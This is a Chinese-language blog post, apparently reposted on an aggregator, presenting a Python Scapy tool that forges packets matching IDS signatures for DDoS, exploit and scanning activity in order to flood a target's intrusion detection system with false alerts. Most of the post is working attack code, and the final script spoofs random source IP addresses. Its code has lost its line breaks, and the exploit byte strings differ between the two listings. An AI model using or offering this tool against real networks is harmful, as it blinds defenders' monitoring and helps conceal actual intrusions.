Python Scapy 愚弄入侵检测系统
生活随笔
收集整理的這篇文章主要介紹了
Python Scapy 愚弄入侵检测系统
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
所謂愚弄入侵檢測系統(tǒng),其原理是使通過制造假的攻擊跡象來觸發(fā)IDS警報,從而讓目標系統(tǒng)產(chǎn)生大量警告而難以作出合理的判斷,利用Scapy這個第三方Python庫,可以很好的實現(xiàn)對入侵檢測系統(tǒng)的愚弄。
首先分析觸發(fā)報警條件假設(shè)為TFN探針:ICMP id為678,ICMP type為8,內(nèi)容含有"lyshark"則觸發(fā)報警,我們只要構(gòu)造這個ICMP包并發(fā)送到目標主機即可。
#!/usr/bin/python #coding=utf-8 from scapy.all import *# 觸發(fā)DDoS警報 def fuck_ddos(src, dst, iface, count):pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='lyshark')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)send(pkt, iface=iface, count=count)src = "192.168.1.100" dst = "192.168.1.200" iface = "eth0" count = 1 fuck_ddos(src, dst, iface, count)再比如,當含有指定字節(jié)序列就會觸發(fā)警報,為了生成含有該指定字節(jié)序列的數(shù)據(jù)包,可以使用符號\x,后面跟上該字節(jié)的十六進制值。
# 觸發(fā)exploits警報 def exploitTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00")send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8")send(pkt, iface=iface, count=count)接著偽造并觸發(fā)踩點掃描警報,只要我們數(shù)據(jù)包中含有特定的特征碼即可觸發(fā)警報,我們構(gòu)造一下。
def scanTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')send(pkt)pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')send(pkt, iface=iface, count=count)最后我們整合代碼,生成可以觸發(fā)DDoS、exploits以及踩點掃描警報的數(shù)據(jù)包。
#coding=utf-8 import optparse from scapy.all import * from random import randint# 觸發(fā)DDoS警報 def ddosTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='lyshark')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)send(pkt, iface=iface, count=count)# 觸發(fā)exploits警報 def exploitTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00")send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE")send(pkt, iface=iface, count=count)# 觸發(fā)踩點掃描警報 def scanTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')send(pkt)pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')send(pkt, iface=iface, count=count)if __name__ == '__main__':# -s參數(shù)指定發(fā)送的源地址,-c參數(shù)指定發(fā)送的次數(shù)。parser = optparse.OptionParser('main.py -i <iface> -s <src> -t <target> -c <count>')parser.add_option('-i', dest='iface', type='string', help='specify network interface')parser.add_option('-s', dest='src', type='string', help='specify source address')parser.add_option('-t', dest='tgt', type='string', help='specify target address')parser.add_option('-c', dest='count', type='int', help='specify packet count')(options, args) = parser.parse_args()if options.iface == None:iface = 'eth0'else:iface = options.ifaceif options.src == None:src = '.'.join([str(randint(1,254)) for x in range(4)])else:src = options.srcif options.tgt == None:exit(0)else:dst = options.tgtif options.count == None:count = 1else:count = options.countddosTest(src, dst, iface, count)exploitTest(src, dst, iface, count)scanTest(src, dst, iface, count)總結(jié)
以上是生活随笔為你收集整理的Python Scapy 愚弄入侵检测系统的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Mac OS X任务管理器
- 下一篇: 书摘---创业36条军规3:创业人七大须